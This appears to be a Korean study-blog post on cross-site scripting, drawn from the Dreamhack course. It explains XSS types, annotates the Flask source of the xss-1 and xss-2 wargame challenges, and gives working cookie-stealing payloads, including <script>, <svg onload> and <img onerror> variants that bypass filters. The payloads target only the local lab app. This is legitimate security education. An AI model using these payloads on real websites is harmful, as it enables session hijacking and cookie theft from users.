공부 사이트: dreamhack web
XSS(Cross-Site Scirpt)
클라이언트 사이드 취약점의 대표적인 공격이다.
웹 리소스에 악성 스크립트를 삽입하여 이용자의 웹 브라우저에서 해당 스크립트가 실행되도록 함
- 주로 세션 탈취
XSS 취약점이 존재하는 사이트에서 Origin 권한으로 악성 스크립트를 삽입.
→ 이용자가 해당 페이지 방문 시 임의로 삽입한 스크립트가 실행
→ 쿠키 및 세션 탈취 가능
XSS 발생 예시
클라이언트는 HTTP 형식으로 웹 서버에 리소스 요청 ─ 서버로부터의 응답(html css js)을 시각화하여 보여준다.
HTML, CSS, JS와 같은 코드가 포함된 게시글을 이용자가 조회하게 되면.. 변조된 페이지를 보거나 스크립트 실행이 가능하다.
- Stored XSS: 악성 스크립트가 서버 내에 존재하며.. 이용자가 저장된 악성 스크립트를 조회
- 게시물이나 댓글에 악성 스크립트를 포함하여 업로드하는 방식
- Reflected XSS: 악성 스크립트가 이용자의 요청 내에 존재. 악성스크립트를 포함한 요청을 보낸 후 응답을 출력할 떄 발생
- 서버가 악성 스크립트가 담긴 요청을 출력. 게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함하여 검색하는 방식.
- Stored XSS와는 다르게 URL과 같은 이용자의 요청에 의해 발생함
- 이용자에게 악성 스크립트가 포함된 링크를 전달하여 접속하도록 유도함. 눈치채지 못하도록 Click Jacking이나 Open Redirect 등과 연계하여 사용
- DOM-based XSS: XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입.
- Fragment는 서버 요청/응답에 포함되지 않는다고 한다.
- Universal XSS: 클라이언트의 브라우저 혹인 브라우저의 플러그인에서 발생. SOP 정책을 우회하는 XSS
공격자는 JS를 통해 이용자에게 보여지는 페이지를 조작할 수 있음.
또한 웹 브라우저의 위치를 임의의 주소로 변경도 가능함.
JS는 다양한 이벤트를 발생시킬 수 있기에.. XSS에서 많이 사용. <script>
dreamhack wargame xss-1
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
# 인자로 url과 쿠키에 대한 값(쿠키이름 = " ~ ", 쿠키값 = "~") 이런느낌
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"}) #도메인이 127.0.0.1에 대한 쿠키값
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/") #해당 url에 접근한다.
driver.add_cookie(cookie) #쿠키 값을 딕셔너리 형식으로 지정. cookie라는 값이 딕셔너리로 받았지.
driver.get(url) #인자로 받은 url에 접근
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
# urllib.parse.quote: 아스키코드 형식이 아닌 글자를 URL 인코딩
# 인자로 받은 값을 인코딩해서 param의 인자로 준다.
# 그런데 반환값기 read_url(url,cookie)인 것을 보니.. read_url이 뭘 반환하는지 찾아보자.
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
#예외 발생하는거 아닌이상 true 반환함.
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln") #<script>가 실행되는 부분. param값을 받아서 . 근데 보니까 <script>alert(1)</script>가 param값
def vuln():
param = request.args.get("param", "")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
# render_template: flask에서 제공하는 함수로 templates에 저장된 html을 불러올 때 사용하는 함수. 걍 flag.html페이지를 불러온다는 뜻
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param") #param= (사용자입력값)
#check_xss가 false면 wrong?
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}): # params에 flag=FLAG를 주어 함수 호출
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
#즉, 입력한 url에 대한 쿠키값을 지정해주는 check_xss 함수. 그럼 지정이 성공하면 된다는 뜻임.
#여기서 쿠키값은 FLAG.strip(). FLAG에 공백제거한 값.
#그럼 쿠키값을 출력하는 xss코드를 작성하면 되겠다.
memo_text = ""
@app.route("/memo") #memo 값을 받으면 text에 저장된 후 전역변수인 memo_text에 \n와 함께 추가됨.
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
#vuln과 memo 엔드포인트는 이용자의 입력값을 페이지에 출력한다.
#memo는 rander_templates 함수를 이용하여 memo.html을 출력함.
# render_templates: 전달된 템플릿 변수를 기록할 때 HTML 엔티티 코드로 변환하여 저장. XSS 발생하지 않음
##그러나 vuln은 rander_templates 사용하지 않고, 이용자가 입력한 값 param을 페이지에 그대로 출력
# XSS 발생 가능한 포인트
이용자의 쿠키를 탈취하기 위한 방법
memo 페이지 악용
flag 엔드포인트에서 다음과 같은 익스플로잇 코드 입력
- location.href: 전체 URL을 반환하거나, URL을 업데이트할 수 있는 속성값
- document.cookie: 해당 페이지에서 사용하는 쿠키값 읽고 쓰기 가능한 속성값
<script> location.href = "/memo?memo=" + document.cookie;</script>
dreamhack wargame xss-2
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
- 이 문제는 XSS -1과 다르게 /vuln 페이지가 render_template() 함수로 vuln.html이 출력되고 있다.
- /vuln 페이지에서 param=<a href="naver.com">go</a> 해보니 적용은 된다. <script>만 불가능.
- render_template() 함수를 통해 출력하면 entity code로 변환되어 출력된다고 함. 즉, js인<script> 안먹힌다.
만약 HTML entity code로 변환되기에 <script>가 먹히지 않았다면, HTML 태그는 모두 가능할까?
- xss bypass 방법을 검색. <svg onload>를 사용하였다.
<svg onload=location.href="/memo?memo="+document.cookie>
- <img> 태그를 사용해서도 가능할 듯 하다.
<img src=# onerror=location.href="/memo?memo="+document.cookie>
'보안 > 웹·모바일' 카테고리의 다른 글
Blind SQL Injection (0) | 2022.07.08 |
---|---|
CSRF(Cross-Site Request Forgery) (0) | 2022.07.07 |
동일 출처 정책(Same Origin Policy) (0) | 2022.07.07 |
HTTP 프로토콜의 특성 (0) | 2022.07.07 |
TIP: mysql 콘솔에서 한글 깨짐 해결 (0) | 2022.07.04 |